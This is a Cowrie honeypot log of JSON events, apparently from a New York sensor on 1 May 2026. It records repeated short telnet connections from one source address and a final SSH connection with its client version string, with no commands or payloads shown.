{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":41152,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7a105ee2135","protocol":"telnet","message":"New connection: 80.241.210.166:41152 (10.17.0.5:23) [session: a7a105ee2135]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:05.471197Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":43786,"dst_ip":"10.17.0.5","dst_port":23,"session":"62f121e941d5","protocol":"telnet","message":"New connection: 80.241.210.166:43786 (10.17.0.5:23) [session: 62f121e941d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:05.577605Z"}
{"eventid":"cowrie.session.closed","duration":31.742259979248047,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:05.711774Z","src_ip":"80.241.210.166","session":"94921205a853","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":45280,"dst_ip":"10.17.0.5","dst_port":23,"session":"55b28eb5d113","protocol":"telnet","message":"New connection: 80.241.210.166:45280 (10.17.0.5:23) [session: 55b28eb5d113]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:05.722395Z"}
{"eventid":"cowrie.session.closed","duration":34.00609064102173,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:07.081010Z","src_ip":"80.241.210.166","session":"e7238daa21da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":47920,"dst_ip":"10.17.0.5","dst_port":23,"session":"19f13d8b4c10","protocol":"telnet","message":"New connection: 80.241.210.166:47920 (10.17.0.5:23) [session: 19f13d8b4c10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:08.015066Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":48308,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6c66e51c1f6","protocol":"telnet","message":"New connection: 80.241.210.166:48308 (10.17.0.5:23) [session: d6c66e51c1f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:08.662240Z"}
{"eventid":"cowrie.session.closed","duration":31.396538972854614,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:09.161317Z","src_ip":"80.241.210.166","session":"d1d0f2ded802","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.89169955253601,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:09.803817Z","src_ip":"80.241.210.166","session":"efa25331f696","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":48878,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b2747cc13c6","protocol":"telnet","message":"New connection: 80.241.210.166:48878 (10.17.0.5:23) [session: 0b2747cc13c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:09.959970Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":49330,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc5385b0223f","protocol":"telnet","message":"New connection: 80.241.210.166:49330 (10.17.0.5:23) [session: bc5385b0223f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:10.437241Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":49912,"dst_ip":"10.17.0.5","dst_port":23,"session":"a91fb6bb9b69","protocol":"telnet","message":"New connection: 80.241.210.166:49912 (10.17.0.5:23) [session: a91fb6bb9b69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:11.003000Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":53114,"dst_ip":"10.17.0.5","dst_port":23,"session":"61267956e581","protocol":"telnet","message":"New connection: 80.241.210.166:53114 (10.17.0.5:23) [session: 61267956e581]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:12.646482Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":54166,"dst_ip":"10.17.0.5","dst_port":23,"session":"a29e30394de0","protocol":"telnet","message":"New connection: 80.241.210.166:54166 (10.17.0.5:23) [session: a29e30394de0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:13.482676Z"}
{"eventid":"cowrie.session.closed","duration":30.4350483417511,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:14.156743Z","src_ip":"80.241.210.166","session":"6a8beded39fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":55698,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a112ea78042","protocol":"telnet","message":"New connection: 80.241.210.166:55698 (10.17.0.5:23) [session: 2a112ea78042]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:14.643714Z"}
{"eventid":"cowrie.session.closed","duration":31.149532556533813,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:14.717818Z","src_ip":"80.241.210.166","session":"9cf2af311526","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99853014945984,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:15.173349Z","src_ip":"80.241.210.166","session":"464ef8520ed8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":57076,"dst_ip":"10.17.0.5","dst_port":23,"session":"55b08948a5b6","protocol":"telnet","message":"New connection: 80.241.210.166:57076 (10.17.0.5:23) [session: 55b08948a5b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:15.824378Z"}
{"eventid":"cowrie.session.closed","duration":30.65001392364502,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:16.168375Z","src_ip":"80.241.210.166","session":"e596f40cdc5c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":57910,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5e881f81c57","protocol":"telnet","message":"New connection: 80.241.210.166:57910 (10.17.0.5:23) [session: f5e881f81c57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:17.529224Z"}
{"eventid":"cowrie.session.closed","duration":31.26991844177246,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:20.111284Z","src_ip":"80.241.210.166","session":"0462934b04e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":34110,"dst_ip":"10.17.0.5","dst_port":23,"session":"2334a91524dc","protocol":"telnet","message":"New connection: 80.241.210.166:34110 (10.17.0.5:23) [session: 2334a91524dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:20.338689Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":60518,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0e396f859b7","protocol":"telnet","message":"New connection: 80.241.210.166:60518 (10.17.0.5:23) [session: f0e396f859b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:21.805406Z"}
{"eventid":"cowrie.session.closed","duration":39.9306857585907,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:21.894833Z","src_ip":"80.241.210.166","session":"4a3658cd5337","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":37000,"dst_ip":"10.17.0.5","dst_port":23,"session":"6cb25372070f","protocol":"telnet","message":"New connection: 80.241.210.166:37000 (10.17.0.5:23) [session: 6cb25372070f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:22.891090Z"}
{"eventid":"cowrie.session.closed","duration":31.43077778816223,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:22.964848Z","src_ip":"80.241.210.166","session":"bf2220e44f40","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":36580,"dst_ip":"10.17.0.5","dst_port":23,"session":"361d2155b75e","protocol":"telnet","message":"New connection: 80.241.210.166:36580 (10.17.0.5:23) [session: 361d2155b75e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:23.512814Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":38754,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c81f7350e22","protocol":"telnet","message":"New connection: 80.241.210.166:38754 (10.17.0.5:23) [session: 1c81f7350e22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:24.281018Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":35274,"dst_ip":"10.17.0.5","dst_port":23,"session":"d985f6764f77","protocol":"telnet","message":"New connection: 80.241.210.166:35274 (10.17.0.5:23) [session: d985f6764f77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:24.332079Z"}
{"eventid":"cowrie.session.closed","duration":31.17646837234497,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:25.392709Z","src_ip":"80.241.210.166","session":"42f885f83468","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":39878,"dst_ip":"10.17.0.5","dst_port":23,"session":"73b5f01d9e92","protocol":"telnet","message":"New connection: 80.241.210.166:39878 (10.17.0.5:23) [session: 73b5f01d9e92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:25.618486Z"}
{"eventid":"cowrie.session.closed","duration":33.91459083557129,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:25.628225Z","src_ip":"80.241.210.166","session":"af3f7a731c95","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.553128957748413,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:26.526645Z","src_ip":"80.241.210.166","session":"6ff98f00cf6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.479174852371216,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:26.820003Z","src_ip":"80.241.210.166","session":"f8e7802cc6a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.972032070159912,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:27.293973Z","src_ip":"80.241.210.166","session":"56363582780d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":33502,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad58551cce09","protocol":"telnet","message":"New connection: 80.241.210.166:33502 (10.17.0.5:23) [session: ad58551cce09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:27.908605Z"}
{"eventid":"cowrie.session.closed","duration":0.005600929260253906,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:27.914048Z","src_ip":"80.241.210.166","session":"ad58551cce09","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83648657798767,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:30.370160Z","src_ip":"80.241.210.166","session":"0c21bc5bce0d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.75761604309082,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:30.613304Z","src_ip":"80.241.210.166","session":"09a91d8acaf0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.097596406936646,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:34.049726Z","src_ip":"80.241.210.166","session":"e1f361446187","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.210219144821167,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:34.660529Z","src_ip":"80.241.210.166","session":"49c243659cbc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.491037130355835,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:36.068511Z","src_ip":"80.241.210.166","session":"62f121e941d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":53306,"dst_ip":"10.17.0.5","dst_port":23,"session":"926a75dbdd32","protocol":"telnet","message":"New connection: 80.241.210.166:53306 (10.17.0.5:23) [session: 926a75dbdd32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:36.890737Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":52720,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a01b6021cee","protocol":"telnet","message":"New connection: 80.241.210.166:52720 (10.17.0.5:23) [session: 1a01b6021cee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:37.134966Z"}
{"eventid":"cowrie.session.closed","duration":31.476115942001343,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:37.198415Z","src_ip":"80.241.210.166","session":"55b28eb5d113","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.161540508270264,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:37.632564Z","src_ip":"80.241.210.166","session":"a7a105ee2135","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.51760005950928,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:39.016133Z","src_ip":"80.241.210.166","session":"96f68c8d778f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.449854612350464,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:39.111988Z","src_ip":"80.241.210.166","session":"d6c66e51c1f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.93997836112976,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:39.954945Z","src_ip":"80.241.210.166","session":"19f13d8b4c10","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.793649911880493,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:41.230777Z","src_ip":"80.241.210.166","session":"bc5385b0223f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.370835781097412,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:41.330675Z","src_ip":"80.241.210.166","session":"0b2747cc13c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.65106439590454,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:42.653919Z","src_ip":"80.241.210.166","session":"a91fb6bb9b69","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.695674896240234,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:43.342034Z","src_ip":"80.241.210.166","session":"61267956e581","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":34654,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa1c3ea1f5c1","protocol":"telnet","message":"New connection: 80.241.210.166:34654 (10.17.0.5:23) [session: aa1c3ea1f5c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:44.276923Z"}
{"eventid":"cowrie.session.closed","duration":31.062886476516724,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:44.545456Z","src_ip":"80.241.210.166","session":"a29e30394de0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.915451288223267,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:45.559026Z","src_ip":"80.241.210.166","session":"2a112ea78042","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":60.383976459503174,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:47.887375Z","src_ip":"80.241.210.166","session":"3594a0572866","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.548669576644897,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:48.077773Z","src_ip":"80.241.210.166","session":"f5e881f81c57","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":38414,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ea78685d467","protocol":"telnet","message":"New connection: 80.241.210.166:38414 (10.17.0.5:23) [session: 6ea78685d467]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:48.386276Z"}
{"eventid":"cowrie.session.closed","duration":32.70629143714905,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:48.530527Z","src_ip":"80.241.210.166","session":"55b08948a5b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.717217206954956,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:52.055809Z","src_ip":"80.241.210.166","session":"2334a91524dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.3677978515625,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:53.173027Z","src_ip":"80.241.210.166","session":"f0e396f859b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.62948441505432,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:53.520464Z","src_ip":"80.241.210.166","session":"6cb25372070f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":45588,"dst_ip":"10.17.0.5","dst_port":23,"session":"5941bb9150ba","protocol":"telnet","message":"New connection: 80.241.210.166:45588 (10.17.0.5:23) [session: 5941bb9150ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:53.801049Z"}
{"eventid":"cowrie.session.closed","duration":31.07656192779541,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:54.589247Z","src_ip":"80.241.210.166","session":"361d2155b75e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.78480362892151,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:55.116735Z","src_ip":"80.241.210.166","session":"d985f6764f77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.51792073249817,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:55.798830Z","src_ip":"80.241.210.166","session":"1c81f7350e22","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":48052,"dst_ip":"10.17.0.5","dst_port":23,"session":"a07cbbd4ed0f","protocol":"telnet","message":"New connection: 80.241.210.166:48052 (10.17.0.5:23) [session: a07cbbd4ed0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:55.959594Z"}
{"eventid":"cowrie.session.closed","duration":31.69352388381958,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:29:57.311877Z","src_ip":"80.241.210.166","session":"73b5f01d9e92","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.830405235290527,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:30:07.721009Z","src_ip":"80.241.210.166","session":"926a75dbdd32","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.585291385650635,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:30:08.720130Z","src_ip":"80.241.210.166","session":"1a01b6021cee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":37300,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9fe944e6926","protocol":"telnet","message":"New connection: 80.241.210.166:37300 (10.17.0.5:23) [session: d9fe944e6926]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:30:12.128309Z"}
{"eventid":"cowrie.session.closed","duration":30.93509268760681,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:30:15.211897Z","src_ip":"80.241.210.166","session":"aa1c3ea1f5c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":41182,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0b9237ec007","protocol":"telnet","message":"New connection: 80.241.210.166:41182 (10.17.0.5:23) [session: d0b9237ec007]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:30:16.636545Z"}
{"eventid":"cowrie.session.closed","duration":33.0190327167511,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:30:21.405189Z","src_ip":"80.241.210.166","session":"6ea78685d467","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.296876668930054,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:30:24.097829Z","src_ip":"80.241.210.166","session":"5941bb9150ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.986759662628174,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:30:27.946126Z","src_ip":"80.241.210.166","session":"a07cbbd4ed0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97840666770935,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:30:43.106528Z","src_ip":"80.241.210.166","session":"d9fe944e6926","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":44864,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ad455e93780","protocol":"telnet","message":"New connection: 80.241.210.166:44864 (10.17.0.5:23) [session: 6ad455e93780]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:30:44.257979Z"}
{"eventid":"cowrie.session.closed","duration":30.507947206497192,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:30:47.144351Z","src_ip":"80.241.210.166","session":"d0b9237ec007","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"191.255.52.36","src_port":38610,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9cd37d6e468","protocol":"ssh","message":"New connection: 191.255.52.36:38610 (159.203.135.109:22) [session: e9cd37d6e468]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:31:10.665978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:31:10.722733Z","src_ip":"191.255.52.36","session":"e9cd37d6e468","protocol":"ssh"}
